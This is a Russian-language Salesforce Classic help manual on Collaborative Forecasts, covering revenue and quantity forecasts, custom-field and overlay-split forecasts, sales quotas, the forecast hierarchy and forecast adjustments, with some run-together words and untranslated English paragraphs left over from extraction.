Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition (без
прогнозов по долям
возможности или
настраиваемому полю),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования
прогнозов:
• «Разрешить

прогнозирование»

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Прогнозымогут составлятьсянаосноведоходаиликоличества.Прогнозыпоколичеству
для возможностей сводятся на основе поля возможности «Количество», а прогнозы по
доходудлявозможностейсводятсянаосновеполявозможности «Стоимость». Прогнозы
по доходу для долей возможности сводятся на основе поля возможности «Стоимость»
ипроцентадоли, назначенноготорговомупредставителю. Прогнозыпонастраиваемому
полю возможности сводятся на основе настраиваемого поля «Стоимость». Прогнозы
по доходу для групп продуктов сводятся на основе суммы поля «Итоговая цена» для
всехэлементовстрокивозможностивданнойгруппепродуктов, апрогнозыпоколичеству
для групп продуктов сводятся на основе поля «Количество» для всех элементов строки
возможности в данной группе продуктов. Если источником данных являются
возможности без элементов строки или с элементами строки, которые не содержат
группы продуктов, то итоговые значения сводятся в строке «Категории продуктов не
определены» на странице «Прогнозы».

Организации, использующие оба вида прогнозов, позволяют пользователям
самостоятельно выбирать тип, который должен использоваться в прогнозах. Чтобы
переключиться между доходом и количеством, выполните указанные ниже действия.

1. Щелкните значок напротив поля «Имя прогноза в: тип валюты» или «Единицы».

2. Выберите значение «Доход» или «Количество (Единицы)».
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3. Привыборезначения «Доход» ииспользованиимультивалютнойорганизациивыберитенужнуювалютуотображения.
Щелкните«Изменитьвалюту»вполе «Валюта». Приэтомоткроетсяокновыборавалютыдляотображенияпрогнозов.

Прим.: При необходимости настройте стоимости прогнозов в каждом данном прогнозе. Тем не менее, поправки,
внесенные в прогноз по доходу для возможностей, не отображаются в другом типе прогноза в качестве поправок.
So, if you adjust an amount in the opportunity-revenue forecast from $100,000 to $90,000 and then switch your forecast view,
you won’t see an equivalent adjustment value in the opportunity-quantity forecast. Поправка (90 000 рублей) отображается
только при восстановлении прогноза по доходу для возможностей.

СМ. ТАКЖЕ:

Общие сведения об измерениях прогнозов по доходу и количеству

Общие сведения о совместных прогнозах

Общие сведения о вкладке «Прогнозы»

Работа с мультивалютой в прогнозах

Общие сведения о поправках прогнозов

Общие сведения о прогнозах по настраиваемому полю возможности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Performance Edition,
Unlimited Edition,
Enterprise Edition и
Developer Edition.

Система позволяет отслеживать и предварительно оценивать доход без стандартного
поля возможности «Стоимость».

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Система позволяет пользователям и их группам сбыта составлять прогнозы по
настраиваемым полям валюты для возможностей. Например, группы сбыта могут
использовать настраиваемое поле «Прибыль», «Ежемесячный регулярный доход» или
«Стоимость годового контракта», либо любое другое поле валюты, необходимое
организации. Администраторы могут быстро настраивать прогнозы на основе любого
изперечисленныхвышенастраиваемыхполей, которые затем, подобнолюбомудругому
прогнозу, могут просматриваться менеджерами по продажам на вкладке «Прогнозы».

При использовании с настраиваемым полем доли возможности добавляются в прогноз пользователя. Прогноз по
настраиваемому полюможет использоваться самостоятельно или совместно с другими прогнозами (например, прогноз
по доходу для возможностей на основе поля возможности «Стоимость»).Помимо настраиваемых полей валюты,
администраторы могут также настраивать прогнозы для стандартного поля «Ожидаемый доход».

Прим.: При отсутствии доступа к настраиваемому полю возможности менеджер прогнозов или торговый
представитель, просматривающийпрогноз, можетпросматриватьстоимостипрогнозов, нонеможетпросматривать
значения настраиваемого поля в списке возможностей.

Прогнозирование по полю «Стоимость годового контракта»: простой прогноз по настраиваемому
полю
Данный пример содержит возможность, принадлежащую торговому представителю. Ввиду большого количества
многолетнихсделок, организацияторговогопредставителяиспользуетнастраиваемоеполе «Стоимостьгодовогоконтракта»
для отслеживания дохода, получаемого от сделки каждый год.
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1. Торговый представитель несет ответственность за данную возможность.

2. Поле «Стоимость годового контракта» является настраиваемым.

Поле «Стоимость годового контракта» всех возможностей торгового представителя сводится в прогнозе «Стоимость
годового контракта», которыйотображаетсяна вкладке «Прогнозы» наряду со всемидругимипрогнозами, настроенными
в организации.

1. Данный прогноз «Стоимость годового контракта» составляется для торгового представителя.

2. Данный прогноз использует имя настраиваемого поля.

3. Прогнозируемая стоимость — это значение поля «Стоимость годового контракта», которое сводится в прогнозе
торгового представителя.

4. Данное значение соответствует прогнозируемой стоимости из поля «Стоимость годового контракта» возможности
«Acme — Premium Support», принадлежащей торговому представителю.

Прим.: Преждечемвключитьпрогнозпонастраиваемомуполю, администратордолженвключитьдоливозможности
для настраиваемого поля. Тем не менее, ответственному за возможность автоматически назначается доля размером
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100%, поэтому при отказе от использования долей для поля выполняемое сведение аналогично сведению,
выполняемому при отсутствии долей.

Прогноз по настраиваемому полю с долями возможности
Доли возможности, используемые для настраиваемого поля, сводятся посредством прогноза по настраиваемому полю.
Например, торговый представитель несет ответственность за возможность, содержащуюнастраиваемую долю для поля
«Стоимость годового контракта», которая предназначается специалисту по продажам, несущему ответственность за
увеличение общей стоимости годового контракта для компании. В данном случае доля размером 25%, принадлежащая
специалисту по продажам, сводится в его прогнозе «Стоимость годового контракта».

1. Торговый представитель несет ответственность за данную возможность.

2. Возможность содержит настраиваемое поле валюты «Стоимость годового контракта».

3. Специалист по продажам получает долю размером 25% для поля «Стоимость годового контракта».

Менеджерспециалистапопродажамможетпросматриватьпрогноз «Стоимость годовогоконтракта», содержащийсделку
с участиемданногоспециалиста, а такжевседругиевозможности, обрабатываемыеегорабочей группой. Данныйменеджер
может просматривать сведения о том, что специалисту по продажам предоставляется кредит размером 25% для всех его
возможностей, которые способствуютобщемудоходуразмером $1 026 000 согласнопрогнозу категории «Благоприятный
прогноз». Менеджерспециалистапопродажам, считающий, чтосделкадолжнабыть закрытапоболее высокойстоимости,
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может скорректировать стоимость данного прогноза в сторону повышения. Менеджер торгового представителя может
просматривать его долю размером 75% в прогнозе торгового представителя.

1. Данный прогноз «Стоимость годового контракта» составляется для специалиста по продажам.

2. Данное значение соответствует доле размером 25%, принадлежащей специалисту по продажам, в возможности
«Acme — Premium Support», принадлежащей торговому представителю.

Прогнозы на основе стандартного поля «Ожидаемый доход»
Рекомендуемиспользоватьстандартноеполе «Ожидаемыйдоход» длявозможностей, чейдоходнесоответствуетзначению,
указанному в поле «Стоимость». Если организация использует поле «Ожидаемый доход», то администратор может
настроить соответствующий прогноз. Прогноз «Ожидаемый доход» отображается в меню «Тип прогноза» аналогично
прогнозу по настраиваемому полю.

Общие сведения о прогнозах по долям наложения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Performance Edition,
Unlimited Edition,
Enterprise Edition и
Developer Edition.

Система позволяет отслеживать доход от участников группы сбыта, помогающих
закрывать возможности, но не несущих за них ответственность.

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Пользователь, являющийся менеджером по продажам, может уже использовать доли
доходадля кредитованияучастниковрабочей группы, несущихпрямуюответственность
за возможности. Чтобы упростить порядок назначения кредита для возможностей,
рекомендуем использовать доли наложения, позволяющие пользователям и другим
участникам рабочих групп распределять кредит на перекрывающие продажи для
обработки возможностей. Сумма долей наложения может составлять любой процент
от стоимости возможности, иногда превышая 100%. Например, группа сбыта может
содержать специалистов по продажам, специалистов по продуктам или партнеров, помогающих закрывать сделки, но
не несущих за них ответственность.
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Прогнозы по наложениям позволяют пользователям предварительно оценивать доход от долей наложения. Стоимости
прогнозов сводятсяпосредствомиерархииролейна основеполя возможности «Стоимость» ипроцента доли участника
рабочей группы наложения.

Данныйпримерохватываетвозможность, принадлежащуюторговомупредставителю, которая содержитдолюналожения
для специалиста по продажам, работающего совместно с торговым представителем над закрытием сделки. Поле
возможности «Стоимость» будет сводиться в прогнозе по доходу для возможностей торгового представителя.

1. Торговый представитель несет ответственность за данную возможность.

2. Специалист по продажам получает долю размером 50%.

Помимо прогноза по доходу для возможностей, менеджер специалиста по продажам может просматривать прогноз по
наложениям, содержащий сделку с участием данного специалиста, а также все другие возможности, обрабатываемые его
рабочей группой. Данныйменеджерможетпросматривать сведенияо том, что специалиступопродажампредоставляется
кредит размером 50% для данной сделки, которая способствует общему доходу размером $948 000 согласно прогнозу
категории «Благоприятныйпрогноз». Менеджерспециалистапопродажам, считающий, что сделка должнабыть закрыта
по более высокой стоимости, может скорректировать стоимость данного прогноза в сторону повышения.
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1. Меню «Тип прогноза», отображающее прогноз по долям наложения

2. Доля размером 50%, назначенная специалисту по продажам

3. Вклад специалиста по продажам, равный $198 000, в прогноз категории «Благоприятный прогноз»

4. Общая стоимость прогноза категории «Благоприятный прогноз»

Общие сведения о планах продаж для прогнозов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Доступно в версиях:
Professional Edition с
полномочием «API
включен».

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

План продаж — это запланированный показатель, назначаемый пользователю
ежемесячноилиежеквартально. Планпродажменеджера включаетпоказатели, которые
должныбыть достигнутыменеджероми его рабочей группой. Сведение планов продаж
выполняетсяпользователямиименеджерамивручнуюипозволяетиспользоватьданные
о доходе или количестве. Если организация использует разные типы прогнозов, то
каждый тип прогноза сохраняет собственные отдельные планы продаж.

Прим.: Прогнозы по группе продуктов не позволяют менеджерам по продажам
просматривать собственные планы продаж и выполнение плана продаж для
отдельных групп продуктов. Сводная таблица отображает только общий план
продаж.

Например, тремторговымпредставителямназначаетсяобщийпланпродажстоимостью
75 000 рублей, а их менеджеру — индивидуальный план продаж стоимостью
30 000 рублей. Вэтомслучаепланпродажменеджерасоставляет 105 000 рублей. Менеджер
может редактировать только планы продаж прямых подчиненных; кроме того, менеджеру должно быть назначено
полномочие «Управление планами продаж».

Если организация поддерживает использование планов продаж, то данные плана продаж отображаются в двух областях
вкладки «Прогнозы».
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• Столбец, содержащийстоимостипланапродаждляопределенногопериода. Еслипрогнозсодержитгруппыпродуктов,
то данный столбец отображает планы продаж для каждой группы продуктов.

• Строка, содержащаяполученныестоимости (впроцентах) дляопределенногопериодавопределеннойсводкепрогноза.

Чтобы получить дополнительную информацию о вводе или обновлении данных в планах продаж, обратитесь к
администратору.

Совет: Чтобы оптимизировать просмотр данных, щелкните границу столбца и измените его ширину.

СМ. ТАКЖЕ:

Общие сведения о совместных прогнозах

Общие сведения о вкладке «Прогнозы»

Отображение или сокрытие данных плана продаж

Включение планов продаж в прогнозах

Отображение или сокрытие данных плана продаж

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Доступно в версиях:
Professional Edition с
полномочием «API
включен».

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования планов
продаж:
• «Разрешить

прогнозирование»

И

«Управление планами
продаж»

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Страница прогноза позволяет отображать или скрывать данные плана продаж. Чтобы
показать данные плана продаж, выполните указанные ниже действия.

1. Щелкните «Параметры отображения».

2. Чтобыпросмотретьстоимостьпланапродаждлякаждогопериода, установитефлажок
«Показать столбец "План продаж"».

3. Чтобыпросмотретьвыполнениепланапродаждляопределеннойсводкиввыбранном
периоде, установитефлажок«Показатьвыполнениепланапродаж (%)». Процент,
отображаемый под каждой стоимостью прогноза, определяет пропорциональное
соотношение плана продаж пользователя, представленного стоимостью.

Взависимостиотиспользуемоготипапрогноза, отображаемыесведенияопланепродаж
могут опираться на доход или количество. Если организация использует разные типы
прогнозов, то каждый тип прогноза сохраняет собственные отдельные планы продаж.
Чтобы скрыть сведения о плане продаж, щелкните «Параметры отображения» и
снимите соответствующиефлажки.

Совет: Чтобы оптимизировать просмотр данных, щелкните границу столбца и
измените его ширину.

СМ. ТАКЖЕ:

Общие сведения о планах продаж для прогнозов

Включение планов продаж в прогнозах
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Общие сведения об иерархии прогнозов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition (без
прогнозов по долям
возможности или
настраиваемому полю),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Иерархияпрогнозов — это вложенныйрасширяемыйсписокпользователейпрогнозов.
Данный список определяет способ сведения прогнозов в организации, а также
пользователей, которым доступен их просмотр и корректировка. Иерархия прогнозов
полностью основывается на иерархии ролей, а также определяет пользователей,
являющихся менеджерами прогнозов.

В зависимости от назначенной роли, пользователь может быть добавлен или удален из
иерархиипрогнозов, либо егоположение в иерархииможет бытьизменено. Например,
пользователь, который является торговым представителем и не имеет прямых
подчиненных, можетпросматриватьтолькособственныепрогнозы. Однако, пользователь,
роль которого меняется на менеджера по продажам, может быть добавлен в иерархию
прогнозов в качестве менеджера прогнозов.

Пользователь, назначенный менеджером прогнозов, может просматривать прогнозы и
возможностинижестоящихпользователей, включаяпользователейпартнерскогопортала, виерархиипрогнозов. Кроме
того, менеджерпрогнозовможет корректироватьпрогнозысвоихпрямыхподчиненных. Поправкиотображаются только
их авторам или вышестоящим сотрудникам в иерархии прогнозов.

СМ. ТАКЖЕ:

Общие сведения о поправках прогнозов

Общие сведения о вкладке «Прогнозы»
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Поиск прогнозов подчиненных посредством ссылки «Перейти к...»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition (без
прогнозов по долям
возможности или
настраиваемому полю),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования
прогнозов:
• «Разрешить

прогнозирование»

Для корректировки
прогнозов:
• «Переопределение

прогнозов»

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Ссылка «Перейти к...» доступна только менеджерам прогнозов при наличии
подчиняющихся пользователей в иерархии прогнозов.

Чтобыпросмотретьилиисправитьпрогнозыподчиняющихсясотрудников, менеджерам
прогнозов приходится перемещаться по разным уровням иерархии прогнозов. Такое
перемещениекрайненеудобновкрупныхорганизациях. Ссылка«Перейтик...»позволяет
быстро находить нужные прогнозы. При просмотре прогноза подчиненного
пользователюотображаются только те сведения, которые доступны его подчиненному.

1. Щелкните ссылку «Перейти к...».

2. Введите не более 20 символов во всплывшем текстовом поле.

3. Выберите имя нужного пользователя.

4. Чтобы развернуть прогноз пользователя, щелкните соответствующую строку на
страницепрогнозов. Принаведении указателямышинаимена отображается ссылка
«Сведения >>». Навигационныессылки, содержащиеименаменеджеровпрогнозов,
отображаются вверху страницы при детализации иерархии прогнозов. Данные
ссылки позволяют быстро возвращаться в иерархию.

СМ. ТАКЖЕ:

Общие сведения об иерархии прогнозов

Общие сведения о поправках прогнозов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition (без
прогнозов по долям
возможности или
настраиваемому полю),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Пользователи прогнозов, ожидающие различий между текущим прогнозом и
фактическими будущими результатами, могут изменять стоимости сводок прогнозов.
Пользователи могут добавлять поправки в стоимости прогнозов, принадлежащих
категориям «Благоприятный прогноз» и «Обязательство»; при необходимости данные
поправки могут быть изменены или удалены.

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Прогнозымогут корректироваться толькопосле включенияпоправокдляорганизации.
Администраторможетразрешитьменеджерамкорректировкупрогнозовподчиненных,
всем пользователям прогнозов корректировку собственных прогнозов или то и другое.

Поправка содержит оценку менеджера прогнозов или торгового представителя
относительно итоговой стоимости, которая должна быть получена от возможностей
прогноза при закрытии периода прогноза. Менеджеры по прогнозам могут захотеть
изменить как собственный прогноз, так и прогноз подчиненного. Например, если им
известно, чтонекоторые сотрудникиимеюттенденциюсоставлять слишкомоптимистичные, слишкомпессимистичные
или даже слишком консервативные прогнозы при назначении сумм возможностям. При недооценке или переоценке
сумм торговые представители могут также корректировать собственные прогнозы. Менеджеры прогнозов могут
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корректировать прогнозы, содержащие только общие стоимости возможностей, а также прогнозы, которые уже
скорректированы другими участниками группы, работающей с возможностями. Поправки позволяют только добавлять
уточненные сведения, тогда как базовая стоимость общей сводки не подлежит изменению. Если в вашей организации
используются разные типы прогнозов, то каждый тип прогноза сохраняет собственные отдельные поправки.

Менеджеры прогнозов могут корректировать собственные прогнозы и прогнозы непосредственных подчиненных,
принадлежащиекатегориям «Обязательство» и «Благоприятныйпрогноз». Онимогутпросматриватьпоправки, внесенные
ихподчиненныминавсехнижестоящихуровняхиерархиипрогнозов. Поправки, внесенныевпрогнозыихподчиненных,
отражаютсяна собственныхпрогнозах. Принеобходимостидобавьтепримечание, уведомляющеедругихпользователей
о причине корректировки. Данные примечания не отображаются отчетами.

Предположим, менеджерпопродажамкорректируетпрогноз торговогопредставителя, меняя 2 000 рублейна 1 500 рублей.

Значение «1 500 рублей», а также значок , указывающийнаналичиепоправки, отображаются вице-президенту, который
также является менеджером прогнозов. Однако они могут решить вновь довести значение до 2000 рублей.

Наиндивидуальнойстраницепрогнозовменеджерапопрогнозамотображаются всепрогнозируемыесуммыисвязанные
снимиданныеокоммерческихвозможностях. Припросмотрестраницыпрогнозовподчиненногосотрудникаменеджерам
отображаютсяитоговыеданные, доступныеэтомусотруднику. Поправки, внесенныеменеджеромвстоимостиподчиненных
на странице собственного прогноза, не отображаются на страницах прогнозов подчиненных. Однако менеджерам
доступны прогнозы подчиненных пользователей и поправки, внесенные данными подчиненными в собственные
стоимости или стоимости их собственных подчиненных. Например, вы — вице-президент отдела продаж. На вашей
собственной странице прогнозов вы видите благоприятный прогноз на июль, составляющий 1250 рублей (в том числе
поправкуна 50 рублей, которуювывнеслисамостоятельно) дляодногоиз вашихподчиненныхпервогоуровня, менеджера
по продажам. Однако при просмотре страницы прогнозов менеджера по продажам посредством поля «Перейти к...»
стоимость прогноза составляет 1200 рублей, так как она не включает внесенную поправку. Если стоимость прогноза
корректируется менеджером и подчиненным, то иерархия прогнозов применяет только поправку менеджера.

Если организация использует разные типы прогнозов, то каждый тип прогноза отличается собственными внесенными
поправками. Например, при использовании прогнозов по доходу и количеству для возможностей настройте стоимости
прогнозов в каждом данном прогнозе. Тем не менее, поправки, внесенные в прогноз по доходу для возможностей, не
отображаются в другом типе прогноза в качестве поправок. Поэтому при внесении поправки в сумму соответствующую
уровню прогноза коммерческой возможности со 100000 рублей до 90000 рублей, и последующим переключением к
представлениюпрогноза, вынеувидитеэквивалентноезначениепоправкивпрогнозе уровнякоммерческойвозможности.
Поправка (90 000 рублей) отображается только при восстановлении прогноза по доходу для возможностей. Если
организацияиспользуетпрогнозыпогруппампродуктов, топользователинемогуткорректироватьстоимостисобственных
прогнозов по группам продуктов.

Приперемещениикоммерческойвозможностииз категориипрогнозируемойвдругую, напримервОжидаемыепродажи
вБлагоприятныйпрогноз, ненастроенныесуммывыручкиизменяютсядлякаждойстатьиподсчета. Однакопрогнозируемые
суммы с поправками не изменяются в таблице статей подсчета на странице Прогнозы. Рекомендуется обновить или
удалить поправки для каждой статьи расчета прогноза, чтобы учесть изменения в стадии коммерческих возможностей.

Прим.: Подчиненные пользователя, просматривающего страницу прогнозов, могут корректировать стоимости
прогнозов или редактировать связанные возможности. Кроме того, пользователь может корректировать прогнозы
одного из своих подчиненных на собственной странице. В результате выполнения всех этих действий могут быть
измененыстоимостипрогнозов. Чтобыпросмотретьпоследниестоимостипрогнозов, нажмитекнопку«Обновить».

Таблица ниже содержит сведения о том, кто может просматривать и корректировать прогнозы текущего пользователя.
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Корректировка прогнозовПросмотр
прогнозов

Пользователь

НетДаМенеджер менеджера
текущего пользователя

Да. Менеджер вносит поправки для сумм на странице собственных
прогнозов.

ДаМенеджер текущего
пользователя

Да, если включено администратором. Текущий пользователь может
корректировать только итоги прогнозов.

ДаТекущий пользователь

НетНетПрямой подчиненный
текущего пользователя

НетНетНепрямой подчиненный
текущего пользователя

Таблица ниже содержит сведения о том, чьи прогнозы может просматривать и корректировать текущий пользователь.

Корректировка прогнозовПросмотр
прогнозов

Пользователь

НетНетМенеджер менеджера
текущего пользователя

НетНетМенеджер текущего
пользователя

Да, если включено администратором.ДаТекущий пользователь

Да. Текущий пользователь вносит данные поправки на странице
собственных прогнозов.

Да. Тем не менее,
при выборе
прогноза

Прямой подчиненный
текущего пользователя

прямого
подчиненного
пользователю
отображаются
только те
сведения,
которые
доступны его
подчиненному, а
собственные
поправки не
отображаются.

Нет. Прямые подчиненные могут корректировать только прогнозы
собственных прямых подчиненных.

Да.
Пользователю
отображаются

Непрямой подчиненный
текущего пользователя

только те
сведения,
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Корректировка прогнозовПросмотр
прогнозов

Пользователь

которые
доступны его
подчиненному.

Стоимости прогнозов, содержащих поправки, помечаются одним или несколькими значками. Значения этих значков
см. ниже.

ОпределениеЗначок

Корректировка стоимостипрогноза выполненатекущимпользователем. Данныйиндикатор
отображается только на странице собственных прогнозов..

Корректировка прогноза выполнена одним из подчиненных сотрудников. Данный значок
отображается на собственной странице прогнозов, а также на страницах прогнозов
подчиненных сотрудников.

Корректировка прогноза выполнена текущим пользователем и как минимум одним
подчиненнымсотрудником. Данный значок отображается толькона собственной странице
прогнозов, потому что при просмотре страницы подчиненного сотрудника отображаются
только доступные ему сведения.

Сохранение поправки.

Отмена внесенной поправки и восстановление предыдущего значения прогноза. Чтобы
определитьналичиепоправкивпредыдущемзначении, наведите указательмышинакнопку.

Поправка содержит примечание.

Удаление поправки и восстановление предыдущего значения, которое может содержать
поправку другого пользователя.

удалить

СМ. ТАКЖЕ:

Корректировка прогнозов

Просмотр и редактирование поправок прогнозов

Очистка поправок

Переключение между прогнозами по доходу и прогнозами по количеству

Обновление прогнозов
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Корректировка прогнозов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition (без
прогнозов по долям
возможности или
настраиваемому полю),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования
прогнозов:
• «Разрешить

прогнозирование»

Для корректировки
прогнозов:
• «Переопределение

прогнозов»

Чтобы добавить поправку в стоимость прогноза, принадлежащего категории
«Благоприятный прогноз» или «Обязательство», щелкните соответствующую ячейку
таблицы прогнозов и введите новую стоимость.

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Прогнозымогут корректироваться толькопосле включенияпоправокдляорганизации.
Администраторможетразрешитьменеджерамкорректировкупрогнозовподчиненных,
всем пользователям прогнозов корректировку собственных прогнозов или то и другое.

An adjustment shows a forecasts manager or sales rep’s judgment about the final amount they
expect the forecast's opportunities to bring in at the close of the forecast period. Forecast managers
may want to adjust their own or a subordinate’s forecast. For example, if they know that some
employees tend to be too optimistic or too conservative when assigning amounts to opportunities.
Sales reps can also adjust their own forecasts if they think opportunity amounts are under or over
stated. Forecast managers can adjust both forecasts that include only gross opportunity amounts
or forecasts that already have adjustments made by someone else in their opportunity team. An
adjustment doesn't change the underlying gross rollup amount—it just adds a layer of detail. If
you have more than one type of forecast enabled, each forecast type maintains its own separate
adjustments.

When an opportunity moves from one forecast category to another, such as from Pipeline to Best
Case, the unadjusted raw amounts change for each of those rollups. However, forecast amounts
with adjustments don’t change in the rollup table on the Forecasts page. We recommend updating
or removing your adjustments to each forecast rollup to account for changes in the stage of
opportunities.

Если организация использует прогнозы для групп продуктов, рекомендуем
корректировать итоговые данные для отдельной группы продуктов подчиненного, но
не итоговые данные для всех групп продуктов.

Совет: Чтобы быстро найти нужный прогноз, щелкните «Перейти к...».

Чтобы скорректировать прогноз, выполните указанные ниже действия.

1. Чтобы добавить поправку в нужный прогноз, наведите указатель мыши на соответствующую ячейку и щелкните
значок .

2. Введите поправку в поле.

3. Чтобы указать причину корректировки, добавьте примечание длиною не более 140 символов.

4. Нажмите кнопку . Белая точка ( ), отображающаяся напротив стоимости прогноза, указывает на корректировку
данногопрогноза. Поправка отражается в итоговых строках дляпериода. Придобавлениипримечания, содержащего
поправку, стоимость помечается синим треугольником ( ).

Прим.: If you have more than one type of forecast enabled, each forecast type maintains its own separate adjustments.Например,
еслиорганизацияиспользуетпрогнозыподоходуиколичествудля возможностей, настройте стоимостипрогнозов
в каждом данном прогнозе. Тем не менее, поправки, внесенные в прогноз по доходу для возможностей, не
отображаются в другомтипепрогноза в качествепоправок. So, if you adjust an amount in the opportunity-revenue forecast
from $100,000 to $90,000 and then switch your forecast view, you won’t see an equivalent adjustment value in the
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opportunity-quantity forecast. Поправка (90 000 рублей) отображается только при восстановлениипрогноза по доходу
для возможностей.

СМ. ТАКЖЕ:

Общие сведения о поправках прогнозов

Просмотр и редактирование поправок прогнозов

Очистка поправок

Переключение между прогнозами по доходу и прогнозами по количеству

Просмотр и редактирование поправок прогнозов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition (без
прогнозов по долям
возможности или
настраиваемому полю),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования
прогнозов:
• «Разрешить

прогнозирование»

Для корректировки
прогнозов:
• «Переопределение

прогнозов»

Пользователь может просматривать сведения о собственных поправках и поправках,
внесенных его подчиненными, включая автора поправки, уточненные стоимости и
исходную общую сводку (стоимость прогноза до внесения поправок). Кроме того,
пользователь может изменять собственные поправки.

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Прогнозымогут корректироваться толькопосле включенияпоправокдляорганизации.
Администраторможетразрешитьменеджерамкорректировкупрогнозовподчиненных,
всем пользователям прогнозов корректировку собственных прогнозов или то и другое.

При перемещении потенциального клиента из одной прогнозируемой категории в
другую, напримеризПроцессапродажвБлагоприятныйпрогноз, ненастроенныесуммы
выручки изменяются для каждой статьи подсчета. Однако прогнозируемые суммы с
поправками не изменяются в таблице статей подсчета на странице Прогнозы.
Рекомендуется обновить или удалить поправки для каждой статьи расчета прогноза,
чтобы учесть изменения в стадии коммерческих возможностей.

Если стоимость прогноза корректируется менеджером и подчиненным, то иерархия
прогнозов применяет только поправку менеджера.

Совет: Чтобы быстро найти нужный прогноз, щелкните «Перейти к...».

Чтобы изменить поправку, выполните указанные ниже действия.

1. Чтобынайтинужныйуточненныйпрогноз, развернитетаблицупрогнозов. Напротив
стоимостей уточненных прогнозов отображается соответствующий индикатор.

2. Чтобы просмотреть подробные сведения о поправке, наведите указатель мыши на
нужную ячейку.

3. Чтобыизменитьилиудалитьлюбыевнесенныепоправки, дваждыщелкнитенужную
ячейку или значок .

Если в вашей организации используются разные типы прогнозов, то каждый тип прогноза сохраняет собственные
отдельные поправки.Например, если организация использует прогнозы по доходу и количеству для возможностей,
настройте стоимости прогнозов в каждом данном прогнозе. Тем не менее, поправки, внесенные в прогноз по доходу для
возможностей, не отображаются в другом типе прогноза в качестве поправок. Поэтому при внесении поправки в сумму
соответствующую уровню прогноза коммерческой возможности со 100000 рублей до 90000 рублей, и последующим
переключением к представлению прогноза, вы не увидите эквивалентное значение поправки в прогнозе уровня
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коммерческой возможности. Поправка (90 000 рублей) отображается толькопри восстановлениипрогнозапо доходу для
возможностей.

СМ. ТАКЖЕ:

Общие сведения о поправках прогнозов

Корректировка прогнозов

Поиск прогнозов подчиненных посредством ссылки «Перейти к...»

Очистка поправок

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition (без
прогнозов по долям
возможности или
настраиваемому полю),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Каждый типпрогноза поддерживает собственные данные опоправках. Поправкимогут
быть удалены при изменении некоторых параметров прогнозов и настраиваемого
финансового года.

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Поправка содержит оценку менеджера прогнозов или торгового представителя
относительно итоговой стоимости, которая должна быть получена от возможностей
прогноза при закрытии периода прогноза. Менеджеры по прогнозам могут захотеть
изменить как собственный прогноз, так и прогноз подчиненного. Например, если им
известно, что некоторые сотрудники имеют тенденцию составлять слишком
оптимистичные, слишкомпессимистичныеилидажеслишкомконсервативныепрогнозы
при назначении сумм возможностям. При недооценке или переоценке сумм торговые
представителимогуттакжекорректироватьсобственныепрогнозы. Менеджерыпрогнозов
могут корректировать прогнозы, содержащие только общие стоимости возможностей,
а также прогнозы, которые уже скорректированы другими участниками группы,
работающейс возможностями. Поправкипозволяюттолькодобавлять уточненныесведения, тогда какбазовая стоимость
общей сводки не подлежит изменению. Если в вашей организации используются разные типы прогнозов, то каждый
тип прогноза сохраняет собственные отдельные поправки.Если поправки удаляются из прогнозов, то исходные данные
прогнозов не меняются.

Ниже перечислены условия, при выполнении которых поправки удаляются.

• Администратор отключает функцию «Совместные прогнозы».

• Администратор выключает поправки менеджера. Удалению подлежат только поправки, внесенные менеджерами
прогнозов в прогнозы своих подчиненных.

• Администраторвыключаетпоправкиответственного. Удалениюподлежаттолькопоправки, внесенныепользователями
прогнозов в собственные прогнозы.

• Пользователь лишается полномочия менеджера прогнозов. Удалению подлежат только поправки, внесенные в
стоимости прогнозов подчиненных.

• Пользователь лишается роли менеджера прогнозов в иерархии прогнозов. Удалению подлежат только поправки,
внесенные в стоимости прогнозов подчиненных.
